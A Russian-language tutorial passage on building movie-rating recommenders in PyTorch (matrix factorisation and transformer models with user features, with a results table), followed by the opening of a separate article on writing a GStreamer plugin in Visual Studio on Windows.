movie_id = self.movie_lookup[row.title]
rating = torch.tensor(row.rating, dtype=torch.float32)
return (user_id, movie_id), rating
def len(self):
return len(self.df)
```
Всё это теперь можно использовать для создания обучающей и проверочной выборок:
Определим модель:
```
import torch
from torch import nn
class MfDotBias(nn.Module):
def init(
self, n_factors, n_users, n_items, ratings_range=None, use_biases=True
):
super().init()
self.bias = use_biases
self.y_range = ratings_range
self.user_embedding = nn.Embedding(n_users+1, n_factors, padding_idx=0)
self.item_embedding = nn.Embedding(n_items+1, n_factors, padding_idx=0)
if use_biases:
self.user_bias = nn.Embedding(n_users+1, 1, padding_idx=0)
self.item_bias = nn.Embedding(n_items+1, 1, padding_idx=0)
def forward(self, inputs):
users, items = inputs
dot = self.user_embedding(users) * self.item_embedding(items)
result = dot.sum(1)
if self.bias:
result = (
result + self.user_bias(users).squeeze() + self.item_bias(items).squeeze()
)
if self.y_range is None:
return result
else:
return (
torch.sigmoid(result) * (self.y_range[1] - self.y_range[0])
+ self.y_range[0]
)
```
Видно, что определение модели получилось очень простым. Слой эмбеддинга — это всего лишь поисковая таблица. Поэтому при указании размера слоя эмбеддинга необходимо сделать так, чтобы в нём присутствовали бы все значения, которые могут встретиться в процессе обучения и проверки модели. Из-за этого мы используем количество уникальных элементов, имеющихся в полном наборе данных, а не только в учебном наборе. Мы, кроме того, описали эмбеддинг `padding`, находящийся по индексу 0, который может использовать для каких-либо неизвестных значений. PyTorch поддерживает подобное, устанавливая эту запись в нулевой вектор, данные которого не обновляются при обучении модели.
В дополнение к этому, так как это — регрессионная задача, диапазон значений, которые могут стать результатом прогнозирования модели, потенциально неограничен. Хотя модель и способна научиться ограничению выходных значений диапазоном от 1 до 5, мы можем упростить модели жизнь, модифицировав её архитектуру так, чтобы ограничить этот диапазон ещё до начала обучения. Сделано это путём применения сигмоидной функции к выходным данным модели, что ограничило эти значения диапазоном от 0 до 1. Потом мы масштабировали то, что получилось, на необходимый нам диапазон значений.
Обычно на данном этапе работы приходит время запуска обучающего цикла. Мы применяем библиотеку `pytorch-accelerated`, поэтому система, по большей части, сделает всё сама. Но, так как `pytorch-accelerated`, по умолчанию, отслеживает лишь потери, возникающие при обучении и валидации модели, давайте создадим коллбэк, который позволит получить интересующие нас показатели качества модели, описанные выше. О том, как создавать коллбэки, можно почитать [здесь](https://pytorch-accelerated.readthedocs.io/en/latest/callbacks.html).
Для вычисления показателей качества модели мы воспользуемся пакетом [torchmetrics](https://torchmetrics.readthedocs.io/en/latest/). Он поддерживает распределённые системы обучения моделей, поэтому нам, перед вычислением показателей, не надо самостоятельно собирать данные из различных процессов.
```
from pytorch_accelerated.callbacks import TrainerCallback
import torchmetrics
class RecommenderMetricsCallback(TrainerCallback):
def init(self):
self.metrics = torchmetrics.MetricCollection(
{
"mse": torchmetrics.MeanSquaredError(),
"mae": torchmetrics.MeanAbsoluteError(),
}
)
def _move_to_device(self, trainer):
self.metrics.to(trainer.device)
def on_training_run_start(self, trainer, **kwargs):
self._move_to_device(trainer)
def on_evaluation_run_start(self, trainer, **kwargs):
self._move_to_device(trainer)
def on_eval_step_end(self, trainer, batch, batch_output, **kwargs):
preds = batch_output["model_outputs"]
self.metrics.update(preds, batch[1])
def on_eval_epoch_end(self, trainer, **kwargs):
metrics = self.metrics.compute()
mse = metrics["mse"].cpu()
trainer.run_history.update_metric("mae", metrics["mae"].cpu())
trainer.run_history.update_metric("mse", mse)
trainer.run_history.update_metric("rmse", math.sqrt(mse))
self.metrics.reset()
```
Теперь осталось лишь обучить модель. В библиотеке `pytorch-accelerated` имеется функция [notebook\_launcher](https://huggingface.co/docs/accelerate/launcher.html), с помощью которой можно запустить процесс обучения на нескольких GPU из среды Jupyter Notebook. Для того чтобы воспользоваться этой возможностью — достаточно определить функцию обучения, которая создаёт экземпляр нашего объекта [Trainer](https://pytorch-accelerated.readthedocs.io/en/latest/trainer.html) и вызывает его метод [train](https://pytorch-accelerated.readthedocs.io/en/latest/trainer.html#pytorch_accelerated.trainer.Trainer.train).
Компоненты, такие, как модель и набор данных, могут быть определены в любом месте Jupyter Notebook, но важно, чтобы экземпляр объекта `Trainer` создавался бы только в пределах обучающей функции. Если вы предпочитаете создавать обучающие скрипты и вызывать их из командной строки, [здесь](https://pytorch-accelerated.readthedocs.io/en/latest/quickstart.html) можно найти сведения о том, как сделать это при использовании `pytorch-accelerated`.
В качестве функции потерь мы выбрали `MSE`, в качестве оптимизатора — `AdamW`, скорость обучения задаём с помощью `OneCycle`. Это приводит нас к такой обучающей функции:
```
def train_mf_model():
model = MfDotBias(
120, len(user_lookup), len(movie_lookup), ratings_range=[0.5, 5.5]
)
loss_func = torch.nn.MSELoss()
optimizer = torch.optim.AdamW(model.parameters(), lr=0.01)
create_sched_fn = partial(
torch.optim.lr_scheduler.OneCycleLR,
max_lr=0.01,
epochs=TrainerPlaceholderValues.NUM_EPOCHS,
steps_per_epoch=TrainerPlaceholderValues.NUM_UPDATE_STEPS_PER_EPOCH,
)
trainer = Trainer(
model=model,
loss_func=loss_func,
optimizer=optimizer,
callbacks=(
RecommenderMetricsCallback,
*DEFAULT_CALLBACKS,
SaveBestModelCallback(watch_metric="mae"),
EarlyStoppingCallback(
early_stopping_patience=2,
early_stopping_threshold=0.001,
watch_metric="mae",
),
),
)
trainer.train(
train_dataset=train_dataset,
eval_dataset=valid_dataset,
num_epochs=30,
per_device_batch_size=512,
create_scheduler_fn=create_sched_fn,
)
```
Теперь можно запустить обучение, передав эту функцию функции `notebook_launcher`:
После 21 эпохи обучения получаются следующие показатели качества модели:
Они лучше, чем показатели базовой модели.
### Использование трансформеров для выдачи прогнозов, основанных на последовательностях оценок
При использовании матричной факторизации мы рассматриваем каждую оценку, данную пользователем фильму, как не зависящую от окружающих её оценок. Но использование сведений о других фильмах, которые недавно оценил пользователь, может дать дополнительные данные, способные повысить качество модели. Например, представим, что пользователь смотрит трилогию. Если первым двум фильмам из трилогии он дал высокую оценку, вероятно, что так же он оценит и финальный фильм.
Один из подходов к реализации такой схемы работы заключается в использовании трансформера — особой нейросетевой архитектуры. Особенно это важно для той части модели, которая представляет собой энкодер. Это позволяет закодировать дополнительные контекстные сведения для каждого фильма в эмбеддингах. После этого для прогнозирования оценок можно воспользоваться полносвязной нейросетью.
Трансформеры способны помочь нам в решении этой задачи преимущественно из-за наличия у них механизма внутреннего внимания, благодаря которому вычисляется показатель внимания для каждого из фильмов в последовательности. Подробнее о механизме внутреннего внимания, да и о трансформерах тоже, можно почитать [здесь](https://jalammar.github.io/illustrated-transformer/?spm=ata.13261165.0.0.34fb48aaFxc8Jt) и [здесь](https://towardsdatascience.com/transformers-explained-visually-not-just-how-but-why-they-work-so-well-d840bd61a9d3). Показатель внимания вычисляется для каждого фильма с учётом всех остальных фильмов. Он представляет собой значимость различных элементов последовательности по отношению друг к другу. Если эмбеддинги пары фильмов связаны друг с другом, показатель внимания должен быть выше, чем для другой пары фильмов, которые, по видимому, друг с другом не связаны. Конечно, изначально у модели нет знаний о том, какие фильмы связаны друг с другом. Поэтому эмбеддинги фильмов, вместе с другими внутренними параметрами трансформера, нужно обучить, что позволит им продемонстрировать вышеописанное поведение.
Рассмотрим, на концептуальном уровне, пример того, как всё это работает. Предположим, пользователь посмотрел и оценил следующую последовательность фильмов
Фильмы о Гарри Поттере относятся к одной франшизе, поэтому они сильно связаны друг с другом. У них один и тот же режиссёр, стиль, одна и та же целевая аудитория. Поэтому нам хотелось бы, чтобы эмбеддинги для этих фильмов выдавали бы высокий показатель внутреннего внимания. А, в отличие от них, «Змеи-убийцы» — это фильм ужасов об огромной змее, которая ест людей. Это — совсем не такой фильм, как «Гарри Поттер и философский камень». Поэтому показатель внутреннего внимания тут должен быть очень низким. Но, так как в фильме «Гарри Поттер и Тайная комната» тоже есть здоровенная змея, у него имеется незначительное сходство с фильмом «Змеи-убийцы». В результате тут может получиться немного более высокий показатель внутреннего внимания, чем для фильмов «Змеи-убийцы» и «Гарри Поттер и философский камень».
Конечно, некоторые из этих взаимоотношений могут быть весьма незначительными. Именно поэтому трансформерам обычно необходимы огромные объёмы данных для выдачи приемлемых результатов. В нашем случае мы исходим из предположения о том, что можем узнать эти сведения, обрабатывая последовательности фильмов, просмотренных множеством различных пользователей. Вполне вероятно то, что некоторое подмножество пользователей посмотрело оба фильма о Гарри Поттере. Но для того чтобы модель выявила бы признак «в фильме есть змея-убийца», понадобилось бы наличие в выборке небольшого подмножества пользователей, которые устроили марафон по просмотру фильмов о змеях-убийцах, но это, наверное, уже будет перебор.
С концептуальной точки зрения трансформер, после нахождения показателей внутреннего внимания, использует их для выдачи матрицы, определяющей вклад оценки каждого фильма в оценку другого фильма. Например — это может быть такая матрица:
Затем матрица может быть использована для кодирования этих контекстуальных сведений в эмбеддинги фильмов. Эту операцию можно представить себе как замену эмбеддинга для фильма «Гарри Поттер и философский камень» на `0,7*(эмбеддинг для «Гарри Поттер и философский камень») + 0,3*(эмбеддинг для «Гарри Поттер и Тайная комната»)`.
Обратите внимание на то, что это — лишь упрощённое представление того, как работают трансформеры. Тут опущено множество тонкостей. Для того чтобы понять то, как на самом деле работают трансформеры, обратитесь к материалам, ссылки на которые приведены выше, или к [публикации](https://arxiv.org/abs/1706.03762), с которой началась история трансформеров.
#### Предварительная обработка данных
Теперь, когда у нас есть общее (очень общее!) понимание того, почему применение трансформера может помочь нам в решении нашей задачи, переходим к первому шагу работы — к обработке данных. Нам нужно, для каждого пользователя, сформировать отсортированные по времени списки оценок фильмов. Начнём с группировки оценок по пользователю:
Теперь, сгруппировав оценки по пользователям, разделим их на небольшие последовательности данных. Для того чтобы выжать из этого материала всё что можно, нужно дать модели возможность прогнозировать оценку для каждого фильма из учебного набора. Чтобы это сделать — зададим длину последовательности `s` и используем `s-1` предыдущих оценок в виде истории оценок пользователя.
Так как модель ожидает, что каждая из последовательностей будет иметь фиксированную длину, заполним пустые пространства вспомогательным токеном, в результате последовательности можно будет представить в виде пакетов и передать модели. Создадим функцию, которая решает эти задачи:
```
def create_sequences(values, sequence_length):
sequences = []
for i, v in enumerate(values):
seq = values[:i+1]
if len(seq) > sequence_length:
seq = seq[i-sequence_length+1:i+1]
elif len(seq) < sequence_length:
seq =(*(['[PAD]'] * (sequence_length - len(seq))), *seq)
sequences.append(seq)
return sequences
```
Для того чтобы получить представление о том, как работает эта функция, применим её, установив длину последовательности в значение 3, к первым 10 фильмам, оценённым первым пользователем. Вот эти фильмы:
Вот что получится после применение нашей функции:
Видно, что тут имеется 10 последовательностей длины 3, а последний фильм в последней последовательности остался тем же, что был в исходном списке.
Теперь применим эту функцию ко всем признакам в нашем `DataFrame`. Тут мы, без особой на то причины, выбрали длину последовательности 10.
Сейчас у нас имеется одна строка, содержащая все последовательности для конкретного пользователя. Но при обучении модели нам хотелось бы сформировать пакеты данных, состоящие из последовательностей, относящихся к множеству различных пользователей. Для того чтобы это сделать, надо преобразовать данные таким образом, чтобы каждая последовательность располагалась бы в собственной строке, но, в то же время, сохраняла бы связь с ID пользователя. Тут, для каждого признака, можно использовать функцию Pandas `explode`, а затем агрегировать полученные объекты `DataFrame`.
Теперь каждая последовательность располагается в собственной строке. Но, в случае столбца `is_valid`, нам не важна вся последовательность. Нам нужно лишь последнее значение, так как это будет фильм, для которого мы попытаемся спрогнозировать оценку. Создадим функцию для извлечения этого значения и применим её к этим столбцам.
Ещё, чтобы облегчить доступ к оценке, которую мы пытаемся спрогнозировать, выделим её в отдельный столбец:
Чтобы модель, при вычислении показателей внутреннего внимания, не использовала бы вспомогательные токены, мы можем предоставить трансформеру маску для механизма внутреннего внимания. Маска должна содержать значение `True` для вспомогательного токена, а для других данных — `False`. Построим маску для каждой из строк, а так же создадим столбец, содержащий сведения о количестве вспомогательных токенов:
Посмотрим на данные после их преобразования:
Всё выглядит так, как надо! Разделим эти данные на обучающую и проверочную выборки:
Теперь данные представлены в том формате, который нужен модели-трансформеру.
#### Обучение модели
Как мы уже видели, прежде чем мы сможем передать эти данные модели, нужно создать поисковую таблицу для кодирования сведений о пользователях и фильмах. Но в этот раз, при создании поисковой таблицы фильмов, нам нужно учесть наличие в данных вспомогательного токена:
Теперь мы работаем с последовательностями оценок, а не с отдельными оценками. Поэтому нужно создать новый класс `Dataset`, содержащий обработанный `DataFrame`:
```
class MovieSequenceDataset(Dataset):
def init(self, df, movie_lookup, user_lookup):
super().init()
self.df = df
self.movie_lookup = movie_lookup
self.user_lookup = user_lookup
def len(self):
return len(self.df)
def getitem(self, index):
data = self.df.iloc[index]
user_id = self.user_lookup[str(data.user_id)]
movie_ids = torch.tensor([self.movie_lookup[title] for title in data.title])
previous_ratings = torch.tensor(
[rating if rating != "[PAD]" else 0 for rating in data.previous_ratings]
)
attention_mask = torch.tensor(data.pad_mask)
target_rating = data.target_rating
encoded_features = {
"user_id": user_id,
"movie_ids": movie_ids,
"ratings": previous_ratings,
}
return (encoded_features, attention_mask), torch.tensor(
target_rating, dtype=torch.float32
)
```
Его можно использовать для создания обучающей и проверочной выборок:
Опишем модель, основанную на трансформере. Для начала, учитывая то, что модель матричной факторизации способна достичь хороших результатов, используя лишь идентификаторы пользователя и фильма, пока включим сюда лишь эти данные:
```
class BstTransformer(nn.Module):
def init(
self,
movies_num_unique,
users_num_unique,
sequence_length=10,
embedding_size=120,
num_transformer_layers=1,
ratings_range=(0.5, 5.5),
):
super().init()
self.sequence_length = sequence_length
self.y_range = ratings_range
self.movies_embeddings = nn.Embedding(
movies_num_unique + 1, embedding_size, padding_idx=0
)
self.user_embeddings = nn.Embedding(users_num_unique + 1, embedding_size)
self.position_embeddings = nn.Embedding(sequence_length, embedding_size)
self.encoder = nn.TransformerEncoder(
encoder_layer=nn.TransformerEncoderLayer(
d_model=embedding_size,
nhead=12,
dropout=0.1,
batch_first=True,
activation="gelu",
),
num_layers=num_transformer_layers,
)
self.linear = nn.Sequential(
nn.Linear(
embedding_size + (embedding_size * sequence_length),
1024,
),
nn.BatchNorm1d(1024),
nn.Mish(),
nn.Linear(1024, 512),
nn.BatchNorm1d(512),
nn.Mish(),
nn.Dropout(0.2),
nn.Linear(512, 256),
nn.BatchNorm1d(256),
nn.Mish(),
nn.Linear(256, 1),
nn.Sigmoid(),
)
def forward(self, inputs):
features, mask = inputs
encoded_user_id = self.user_embeddings(features["user_id"])
user_features = encoded_user_id
encoded_movies = self.movies_embeddings(features["movie_ids"])
positions = torch.arange(
0, self.sequence_length, 1, dtype=int, device=features["movie_ids"].device
)
positions = self.position_embeddings(positions)
transformer_features = encoded_movies + positions
transformer_output = self.encoder(
transformer_features, src_key_padding_mask=mask
)
transformer_output = torch.flatten(transformer_output, start_dim=1)
combined_output = torch.cat((transformer_output, user_features), dim=1)
rating = self.linear(combined_output)
rating = rating.squeeze()
if self.y_range is None:
return rating
else:
return rating * (self.y_range[1] - self.y_range[0]) + self.y_range[0]
```
Видно, что, по умолчанию, мы передаём модели последовательность эмбеддингов фильмов в единственный слой трансформера. Делается это до объединения выходных данных с признаками пользователей (здесь — это лишь ID пользователя). Эти данные мы используем в качестве входных данных полносвязной сети. В данном случае мы применяем простое позиционное кодирование, модель учится представлять последовательность, в которой оцениваются фильмы. Использование подходов, основанных на синусе или косинусе, не дало в моих экспериментах никаких преимуществ, но, если интересно — можете это попробовать.
И, как и прежде, определим обучающую функцию для этой модели. Она, за исключением инициализации моделей, идентична той, что мы применяли при обучении модели матричной факторизации.
```
def train_seq_model():
model = BstTransformer(
len(movie_lookup), len(user_lookup), sequence_length, embedding_size=120
)
loss_func = torch.nn.MSELoss()
optimizer = torch.optim.AdamW(model.parameters(), lr=0.01)
create_sched_fn = partial(
torch.optim.lr_scheduler.OneCycleLR,
max_lr=0.01,
epochs=TrainerPlaceholderValues.NUM_EPOCHS,
steps_per_epoch=TrainerPlaceholderValues.NUM_UPDATE_STEPS_PER_EPOCH,
)
trainer = Trainer(
model=model,
loss_func=loss_func,
optimizer=optimizer,
callbacks=(
RecommenderMetricsCallback,
*DEFAULT_CALLBACKS,
SaveBestModelCallback(watch_metric="mae"),
EarlyStoppingCallback(
early_stopping_patience=2,
early_stopping_threshold=0.001,
watch_metric="mae",
),
),
)
trainer.train(
train_dataset=train_dataset,
eval_dataset=valid_dataset,
num_epochs=10,
per_device_batch_size=512,
create_scheduler_fn=create_sched_fn,
)
```
Для запуска обучения модели можем воспользоваться функцией `notebook_launcher`:
После шести эпох обучения мы получили следующие результаты:
Тут видно значительное преимущество трансформеров перед матричной факторизацией.
Так как начало проявляться переобучение модели, коллбэк остановил обучение довольно рано и загрузил веса, с которыми модель показала наилучшие результаты.
#### Добавление дополнительных данных
До сих пор мы прогнозировали оценку, принимая во внимание лишь идентификатор пользователя и последовательность идентификаторов фильмов. Кажется вполне вероятным то, что учёт информации о предыдущих оценках, выставленных пользователем, может повысить качество модели. К счастью, учёт этой информации организовать несложно, наш набор данных уже способен возвращать нужные данные. Подстроим архитектуру модели под новые условия:
```
class BstTransformer(nn.Module):
def init(
self,
movies_num_unique,
users_num_unique,
sequence_length=10,
embedding_size=120,
num_transformer_layers=1,
ratings_range=(0.5, 5.5),
):
super().init()
self.sequence_length = sequence_length
self.y_range = ratings_range
self.movies_embeddings = nn.Embedding(
movies_num_unique + 1, embedding_size, padding_idx=0
)
self.user_embeddings = nn.Embedding(users_num_unique + 1, embedding_size)
self.ratings_embeddings = nn.Embedding(6, embedding_size, padding_idx=0)
self.position_embeddings = nn.Embedding(sequence_length, embedding_size)
self.encoder = nn.TransformerEncoder(
encoder_layer=nn.TransformerEncoderLayer(
d_model=embedding_size,
nhead=12,
dropout=0.1,
batch_first=True,
activation="gelu",
),
num_layers=num_transformer_layers,
)
self.linear = nn.Sequential(
nn.Linear(
embedding_size + (embedding_size * sequence_length),
1024,
),
nn.BatchNorm1d(1024),
nn.Mish(),
nn.Linear(1024, 512),
nn.BatchNorm1d(512),
nn.Mish(),
nn.Dropout(0.2),
nn.Linear(512, 256),
nn.BatchNorm1d(256),
nn.Mish(),
nn.Linear(256, 1),
nn.Sigmoid(),
)
def forward(self, inputs):
features, mask = inputs
encoded_user_id = self.user_embeddings(features["user_id"])
user_features = encoded_user_id
movie_history = features["movie_ids"][:, :-1]
target_movie = features["movie_ids"][:, -1]
ratings = self.ratings_embeddings(features["ratings"])
encoded_movies = self.movies_embeddings(movie_history)
encoded_target_movie = self.movies_embeddings(target_movie)
positions = torch.arange(
0,
self.sequence_length - 1,
1,
dtype=int,
device=features["movie_ids"].device,
)
positions = self.position_embeddings(positions)
encoded_sequence_movies_with_position_and_rating = (
encoded_movies + ratings + positions
)
encoded_target_movie = encoded_target_movie.unsqueeze(1)
transformer_features = torch.cat(
(encoded_sequence_movies_with_position_and_rating, encoded_target_movie),
dim=1,
)
transformer_output = self.encoder(
transformer_features, src_key_padding_mask=mask
)
transformer_output = torch.flatten(transformer_output, start_dim=1)
combined_output = torch.cat((transformer_output, user_features), dim=1)
rating = self.linear(combined_output)
rating = rating.squeeze()
if self.y_range is None:
return rating
else:
return rating * (self.y_range[1] - self.y_range[0]) + self.y_range[0]
```
Для использования данных об оценках мы добавили дополнительный слой эмбеддинга. Затем, для каждого ранее оценённого фильма, мы складываем эмбеддинг фильма, позиционную кодировку и эмбеддинг оценки, после чего передаём соответствующую последовательность трансформеру. Ещё данные по оценке могут быть конкатенированы с эмбеддингом фильма, их можно и умножить друг на друга, но их сложение дало лучший результат из всех испытанных мной подходов.
Так как Jupyter, в интерактивном режиме, поддерживает определения классов в актуальном состоянии, нам не надо обновлять функцию обучения. При запуске обучения будет использован новый класс:
После восьми эпох обучения получен следующий результат:
Получается, что применение в модели данных об оценках немного улучшило качество модели.
#### Добавление признаков пользователей
В дополнение к данным об оценках, у нас ещё есть некоторые дополнительные данные о пользователях, которые мы тоже можем добавить в модель. Для того чтобы вспомнить что к чему — взглянем на таблицу с данными о пользователях:
Попытаемся добавить в модель категориальные переменные, представляющие пол (`sex`), возрастную группу (`age_group`) и род деятельности пользователя (`occupation`). Посмотрим, даст ли это какие-нибудь улучшения. Столбец `occupation` уже, похоже, представлен в виде последовательно расположенных чисел, то же самое надо сделать для столбцов `sex` и `age_group`. Тут можно воспользоваться функцией `LabelEncoder` из `scikit-learn`. Перекодированные столбцы присоединим к нашему объекту `DataFrame`:
Теперь все необходимые признаки закодированы. Присоединим признаки пользователей к объекту `DataFrame` с последовательностями данных, после чего приведём в актуальное состояние обучающую и проверочную выборки.
Включим эти признаки в наш класс `Dataset`:
```
class MovieSequenceDataset(Dataset):
def init(self, df, movie_lookup, user_lookup):
super().init()
self.df = df
self.movie_lookup = movie_lookup
self.user_lookup = user_lookup
def len(self):
return len(self.df)
def getitem(self, index):
data = self.df.iloc[index]
user_id = self.user_lookup[str(data.user_id)]
movie_ids = torch.tensor([self.movie_lookup[title] for title in data.title])
previous_ratings = torch.tensor(
[rating if rating != "[PAD]" else 0 for rating in data.previous_ratings]
)
attention_mask = torch.tensor(data.pad_mask)
target_rating = data.target_rating
encoded_features = {
"user_id": user_id,
"movie_ids": movie_ids,
"ratings": previous_ratings,
"age_group": data["age_group_encoded"],
"sex": data["sex_encoded"],
"occupation": data["occupation"],
}
return (encoded_features, attention_mask), torch.tensor(
target_rating, dtype=torch.float32
)
```
Модифицируем архиртектуру модели, включив в неё эмбеддинги для этих признаков и конкатенировав эти эмбеддинги с выходом трансформера. Потом передадим их в сеть прямого распространения.
```
class BstTransformer(nn.Module):
def init(
self,
movies_num_unique,
users_num_unique,
sequence_length=10,
embedding_size=120,
num_transformer_layers=1,
ratings_range=(0.5, 5.5),
):
super().init()
self.sequence_length = sequence_length
self.y_range = ratings_range
self.movies_embeddings = nn.Embedding(
movies_num_unique + 1, embedding_size, padding_idx=0
)
self.user_embeddings = nn.Embedding(users_num_unique + 1, embedding_size)
self.ratings_embeddings = nn.Embedding(6, embedding_size, padding_idx=0)
self.position_embeddings = nn.Embedding(sequence_length, embedding_size)
self.sex_embeddings = nn.Embedding(
3,
2,
)
self.occupation_embeddings = nn.Embedding(
22,
11,
)
self.age_group_embeddings = nn.Embedding(
8,
4,
)
self.encoder = nn.TransformerEncoder(
encoder_layer=nn.TransformerEncoderLayer(
d_model=embedding_size,
nhead=12,
dropout=0.1,
batch_first=True,
activation="gelu",
),
num_layers=num_transformer_layers,
)
self.linear = nn.Sequential(
nn.Linear(
embedding_size + (embedding_size * sequence_length) + 4 + 11 + 2,
1024,
),
nn.BatchNorm1d(1024),
nn.Mish(),
nn.Linear(1024, 512),
nn.BatchNorm1d(512),
nn.Mish(),
nn.Dropout(0.2),
nn.Linear(512, 256),
nn.BatchNorm1d(256),
nn.Mish(),
nn.Linear(256, 1),
nn.Sigmoid(),
)
def forward(self, inputs):
features, mask = inputs
user_id = self.user_embeddings(features["user_id"])
age_group = self.age_group_embeddings(features["age_group"])
sex = self.sex_embeddings(features["sex"])
occupation = self.occupation_embeddings(features["occupation"])
user_features = user_features = torch.cat(
(user_id, sex, age_group, occupation), 1
)
movie_history = features["movie_ids"][:, :-1]
target_movie = features["movie_ids"][:, -1]
ratings = self.ratings_embeddings(features["ratings"])
encoded_movies = self.movies_embeddings(movie_history)
encoded_target_movie = self.movies_embeddings(target_movie)
positions = torch.arange(
0,
self.sequence_length - 1,
1,
dtype=int,
device=features["movie_ids"].device,
)
positions = self.position_embeddings(positions)
encoded_sequence_movies_with_position_and_rating = (
encoded_movies + ratings + positions
)
encoded_target_movie = encoded_target_movie.unsqueeze(1)
transformer_features = torch.cat(
(encoded_sequence_movies_with_position_and_rating, encoded_target_movie),
dim=1,
)
transformer_output = self.encoder(
transformer_features, src_key_padding_mask=mask
)
transformer_output = torch.flatten(transformer_output, start_dim=1)
combined_output = torch.cat((transformer_output, user_features), dim=1)
rating = self.linear(combined_output)
rating = rating.squeeze()
if self.y_range is None:
return rating
else:
return rating * (self.y_range[1] - self.y_range[0]) + self.y_range[0]
```
Запустим обучение модели, в ходе которого теперь используются новые признаки. Через семь эпох мы получили следующие результаты:
Здесь видно небольшое уменьшение показателя MAE, но при этом MSE и RMSE немного выросли. Похоже, что включение новых признаков в модель незначительно влияет на её качество.
Итоги
-----
Сведём в таблицу результаты работы всех моделей.
| | | | |
| --- | --- | --- | --- |
| **Модель** | **MAE** | **MSE** | **RMSE** |
| Базовая | 0,912 | 1,530 | 1,237 |
| Матричная факторизация | 0,890 | 1,316 | 1,147 |
| Трансформер | 0,726 | 0,862 | 0,928 |
| Трансформер (со сведениями об оценках) | 0,718 | 0,851 | 0,922 |
| Трансформер (со сведениями об оценках и с признаками пользователей) | 0,716 | 0,852 | 0,923 |
Главной моей целью при написании этой статьи было испытание этих подходов и показ того, как ими можно пользоваться. Поэтому я выбрал гиперпараметры, в каком-то смысле, случайным образом. Вполне вероятно то, что некоторая подстройка гиперпараметров и применение других комбинаций признаков могут привести к улучшению качества моделей.
Надеюсь, мой материал стал для вас хорошим введением в тему использования матричной факторизации и трансформеров в PyTorch, а так же — в тему ускорения обучения различных моделей с помощью [pytorch-accelerated](https://pytorch-accelerated.readthedocs.io/en/latest/index.html).
Напомню, что код к этому материалу можно найти [здесь](https://gist.github.com/Chris-hughes10/162c1009c4d42ec38dc4f008583cf560).
О, а приходите к нам работать? 😏Мы в [**wunderfund.io**](http://wunderfund.io/) занимаемся [высокочастотной алготорговлей](https://en.wikipedia.org/wiki/High-frequency_trading) с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.
Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.
Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.
[Присоединяйтесь к нашей команде.](http://wunderfund.io/#join_us) | https://habr.com/ru/post/645921/ | null | ru | null |
# Пишем плагин для GStreamer на MS Visual Studio
Меня всегда интересовали прикладные задачи обработки видеоданных в реальном времени. На Хабре я прочитал серию статей о мультимедиа фреймвоке GStreamer:
* [Знакомство с GStreamer: Введение](http://habrahabr.ru/post/178813/)
* [Знакомство с GStreamer: Источники данных](http://habrahabr.ru/post/179167/)
* [Знакомство с GStreamer: Устройства вывода](http://habrahabr.ru/post/204014/)
* [GStreamer: кодеки с привкусом Linux](http://habrahabr.ru/post/127023/)
Очень захотелось что-нибудь сделать с его использованием. Но, как обычно бывает, текущие задачи полностью исчерпывали ресурс свободного времени.
И вот однажды, в процессе работы над проектом, мне понадобилось организовать на объекте систему видеонаблюдения и интегрировать ее в систему учета. Эта задача была успешно решена специалистам нашей компанией и не достойна внимания широкой общественности. Система учета работает на Microsoft .NET, все камеры выдают H264 RTSP поток. Для захвата видео используется коммерческая библиотека MediaSuite от Streamcoders.
В качестве бонуса, я позволил себе провести ряд экспериментов с GStreamer для захвата и обработки видео.
Для начала я решил попробовать захватить поток с одной из камер, направленных на весы для взвешивания автотранспорта, передать фрейм в подсистему распознавания автомобильных номеров и наложить на видео результат распознавания. В приведенном примере я не буду вызывать функционал LPR, просто перехвачу кадр и нарисую на нем прямоугольник.
Итак, дано:
* RTSP H264 источник
* Система Windows 7 32-bit
* MS Visual Studio 2010
* Язык С++
* GStreamer 1.0
Необходимо получить:
* поток видео, содержащий результаты обработки
Способ решения:
* Разработка плагина для GStreamer 1.0
GStreamer предоставляет разработчику свою [иерархию классов](http://gstreamer.freedesktop.org/data/doc/gstreamer/head/gstreamer-libs/html/gstreamer-hierarchy.html). Для наших целей мы можем унаследовать свой плагин из класса [GstElement](http://gstreamer.freedesktop.org/data/doc/gstreamer/head/gstreamer/html/GstElement.html). GstElement является базовым абстрактным классом, необходимым для разработки элемента, который может быть использован в обработке потоков GStreamer.
##### Установка GStreamer
Загружаем и устанавливаем GStreamer gstreamer-1.0-ххх-1.2.4.msi. Его можно взять [здесь](http://gstreamer.freedesktop.org/data/pkg/windows/1.2.4/).
Для разработки, нам также понадобится дистрибутив gstreamer-1.0-devel-xxx.msi например, gstreamer-1.0-devel-x86-1.2.4.msi, В процессе установки выбираем необходимые опции:

Забегая вперед, скажу, лучше будет установить [Windows Device Driver Kit 7.1.0](http://www.microsoft.com/en-us/download/details.aspx?displaylang=en&id=11800). По-умолчанию он ставится в C:\WinDDK\7600.16385.1 и именно там его будет искать Visual Studio при построении проекта. Если у вас уже установлен DDK по другому пути, это можно будет поправить потом, непосредственно в настройках проекта.
На сайте проекта GStreamer среди прочей документации есть [руководство для разработчиков плагинов](http://gstreamer.freedesktop.org/data/doc/gstreamer/head/pwg/html/index.html). Можно прочитав руководство написать весь код самому, но есть возможность скачать шаблон проекта плагина, из [репозитория](http://cgit.freedesktop.org/gstreamer/gst-template).
Шаблон содержит исходные файлы с++ и скрипт для генерации кода плагина. Как гласит инструкция, после развертывания шаблона из репозитория, необходимо перейти в директорий gst-template/gst-plugin/src и запустить утилиту ../tools/make\_element. Утилита make\_element имеет два параметра: имя плагина (dummy), имя исходного файла, который будет использован (gstplugin по-умолчанию).
В результате выполнения мы получим два файла: gstdummy.c и gstdummy.h. Внутри будет скелет плагина dummy, который еще глупый и нечего не делает, но уже может быть встроен в систему плагинов фреймвока.
Небольшая ремарка: все, что сказано выше, справедливо для Linux, Unix машин, а как быть скорбным обладателям Windows? Cmd.exe не станет выполнять make\_element. Если заглянуть внутрь make\_element станет ясно, что ничего сложного он не делает, а с помощью потокового редактора sed производит генерацию целевых исходников на основании данных ему параметров. Это можно сделать и самому. На всякий случай, я создал репозиторий, куда по ходу развития буду помещать свой тестовый проект: [github.com/nostrum-service/gst](https://github.com/nostrum-service/gst).
